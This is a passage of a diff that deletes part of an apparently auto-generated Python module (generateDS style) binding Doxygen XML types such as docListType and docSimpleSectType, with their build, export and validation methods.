staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docAnchorType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docAnchorType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docAnchorType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docAnchorType') - outfile.write('>') - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_, pretty_print=pretty_print) - outfile.write(self.convert_unicode(self.valueOf_)) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docAnchorType'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docAnchorType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) - pass -# end class docAnchorType - - -class docFormulaType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docFormulaType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docFormulaType.subclass: - return docFormulaType.subclass(*args_, **kwargs_) - else: - return docFormulaType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docFormulaType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docFormulaType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docFormulaType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docFormulaType') - outfile.write('>') - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_, pretty_print=pretty_print) - outfile.write(self.convert_unicode(self.valueOf_)) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docFormulaType'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docFormulaType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) - pass -# end class docFormulaType - - -class docIndexEntryType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, primaryie=None, secondaryie=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.primaryie = primaryie - self.primaryie_nsprefix_ = None - self.secondaryie = secondaryie - self.secondaryie_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docIndexEntryType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docIndexEntryType.subclass: - return docIndexEntryType.subclass(*args_, **kwargs_) - else: - return docIndexEntryType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_primaryie(self): - return self.primaryie - def set_primaryie(self, primaryie): - self.primaryie = primaryie - def get_secondaryie(self): - return self.secondaryie - def set_secondaryie(self, secondaryie): - self.secondaryie = secondaryie - def hasContent_(self): - if ( - self.primaryie is not None or - self.secondaryie is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docIndexEntryType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docIndexEntryType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docIndexEntryType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docIndexEntryType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docIndexEntryType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docIndexEntryType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docIndexEntryType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.primaryie is not None: - namespaceprefix_ = self.primaryie_nsprefix_ + ':' if (UseCapturedNS_ and self.primaryie_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sprimaryie>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.primaryie), input_name='primaryie')), namespaceprefix_ , eol_)) - if self.secondaryie is not None: - namespaceprefix_ = self.secondaryie_nsprefix_ + ':' if (UseCapturedNS_ and self.secondaryie_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%ssecondaryie>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.secondaryie), input_name='secondaryie')), namespaceprefix_ , eol_)) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'primaryie': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'primaryie') - value_ = self.gds_validate_string(value_, node, 'primaryie') - self.primaryie = value_ - self.primaryie_nsprefix_ = child_.prefix - elif nodeName_ == 'secondaryie': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'secondaryie') - value_ = self.gds_validate_string(value_, node, 'secondaryie') - self.secondaryie = value_ - self.secondaryie_nsprefix_ = child_.prefix -# end class docIndexEntryType - - -class docListType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, type_=None, start=None, listitem=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.type_ = _cast(None, type_) - self.type__nsprefix_ = None - self.start = _cast(int, start) - self.start_nsprefix_ = None - if listitem is None: - self.listitem = [] - else: - self.listitem = listitem - self.listitem_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docListType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docListType.subclass: - return docListType.subclass(*args_, **kwargs_) - else: - return docListType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_listitem(self): - return self.listitem - def set_listitem(self, listitem): - self.listitem = listitem - def add_listitem(self, value): - self.listitem.append(value) - def insert_listitem_at(self, index, value): - self.listitem.insert(index, value) - def replace_listitem_at(self, index, value): - self.listitem[index] = value - def get_type(self): - return self.type_ - def set_type(self, type_): - self.type_ = type_ - def get_start(self): - return self.start - def set_start(self, start): - self.start = start - def validate_DoxOlType(self, value): - # Validate type DoxOlType, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['1', 'a', 'A', 'i', 'I'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxOlType' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.listitem - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docListType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docListType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docListType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docListType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docListType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docListType'): - if self.type_ is not None and 'type_' not in already_processed: - already_processed.add('type_') - outfile.write(' type=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.type_), input_name='type')), )) - if self.start is not None and 'start' not in already_processed: - already_processed.add('start') - outfile.write(' start="%s"' % self.gds_format_integer(self.start, input_name='start')) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docListType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for listitem_ in self.listitem: - namespaceprefix_ = self.listitem_nsprefix_ + ':' if (UseCapturedNS_ and self.listitem_nsprefix_) else '' - listitem_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='listitem', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('type', node) - if value is not None and 'type' not in already_processed: - already_processed.add('type') - self.type_ = value - self.validate_DoxOlType(self.type_) # validate type DoxOlType - value = find_attr_value_('start', node) - if value is not None and 'start' not in already_processed: - already_processed.add('start') - self.start = self.gds_parse_integer(value, node, 'start') - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'listitem': - obj_ = docListItemType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.listitem.append(obj_) - obj_.original_tagname_ = 'listitem' -# end class docListType - - -class docListItemType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, value=None, para=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.value = _cast(int, value) - self.value_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docListItemType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docListItemType.subclass: - return docListItemType.subclass(*args_, **kwargs_) - else: - return docListItemType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_value(self): - return self.value - def set_value(self, value): - self.value = value - def hasContent_(self): - if ( - self.para - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docListItemType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docListItemType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docListItemType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docListItemType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docListItemType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docListItemType'): - if self.value is not None and 'value' not in already_processed: - already_processed.add('value') - outfile.write(' value="%s"' % self.gds_format_integer(self.value, input_name='value')) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docListItemType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('value', node) - if value is not None and 'value' not in already_processed: - already_processed.add('value') - self.value = self.gds_parse_integer(value, node, 'value') - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.para.append(obj_) - obj_.original_tagname_ = 'para' -# end class docListItemType - - -class docSimpleSectType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, kind=None, title=None, para=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.kind = _cast(None, kind) - self.kind_nsprefix_ = None - self.title = title - self.title_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docSimpleSectType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docSimpleSectType.subclass: - return docSimpleSectType.subclass(*args_, **kwargs_) - else: - return docSimpleSectType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_kind(self): - return self.kind - def set_kind(self, kind): - self.kind = kind - def validate_DoxSimpleSectKind(self, value): - # Validate type DoxSimpleSectKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['see', 'return', 'author', 'authors', 'version', 'since', 'date', 'note', 'warning', 'pre', 'post', 'copyright', 'invariant', 'remark', 'attention', 'par', 'rcs'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxSimpleSectKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.title is not None or - self.para - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSimpleSectType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docSimpleSectType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docSimpleSectType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docSimpleSectType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docSimpleSectType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docSimpleSectType'): - if self.kind is not None and 'kind' not in already_processed: - already_processed.add('kind') - outfile.write(' kind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kind), input_name='kind')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSimpleSectType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.title is not None: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - self.title.export(outfile, level, namespaceprefix_, namespacedef_='', name_='title', pretty_print=pretty_print) - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('kind', node) - if value is not None and 'kind' not in already_processed: - already_processed.add('kind') - self.kind = value - self.validate_DoxSimpleSectKind(self.kind) # validate type DoxSimpleSectKind - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'title': - obj_ = docTitleType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.title = obj_ - obj_.original_tagname_ = 'title' - elif nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.para.append(obj_) - obj_.original_tagname_ = 'para' -# end class docSimpleSectType - - -class docVarListEntryType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, term=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.term = term - self.term_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docVarListEntryType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docVarListEntryType.subclass: - return docVarListEntryType.subclass(*args_, **kwargs_) - else: - return docVarListEntryType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_term(self): - return self.term - def set_term(self, term): - self.term = term - def hasContent_(self): - if ( - self.term is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docVarListEntryType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docVarListEntryType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docVarListEntryType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docVarListEntryType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docVarListEntryType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docVarListEntryType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docVarListEntryType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.term is not None: - namespaceprefix_ = self.term_nsprefix_ + ':' if (UseCapturedNS_ and self.term_nsprefix_) else '' - self.term.export(outfile, level, namespaceprefix_, namespacedef_='', name_='term', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'term': - obj_ = docTitleType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.term = obj_ - obj_.original_tagname_ = 'term' -# end class docVarListEntryType - - -class docVariableListType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, varlistentry=None, listitem=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if varlistentry is None: - self.varlistentry = [] - else: - self.varlistentry = varlistentry - self.varlistentry_nsprefix_ = None - if listitem is None: - self.listitem = [] - else: - self.listitem = listitem - self.listitem_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docVariableListType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docVariableListType.subclass: - return docVariableListType.subclass(*args_, **kwargs_) - else: - return docVariableListType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_varlistentry(self): - return self.varlistentry - def set_varlistentry(self, varlistentry): - self.varlistentry = varlistentry - def add_varlistentry(self, value): - self.varlistentry.append(value) - def insert_varlistentry_at(self, index, value): - self.varlistentry.insert(index, value) - def replace_varlistentry_at(self, index, value): - self.varlistentry[index] = value - def get_listitem(self): - return self.listitem - def set_listitem(self, listitem): - self.listitem = listitem - def add_listitem(self, value): - self.listitem.append(value) - def insert_listitem_at(self, index, value): - self.listitem.insert(index, value) - def replace_listitem_at(self, index, value): - self.listitem[index] = value - def hasContent_(self): - if ( - self.varlistentry or - self.listitem - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docVariableListType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docVariableListType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docVariableListType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docVariableListType') - if self.hasContent_(): - 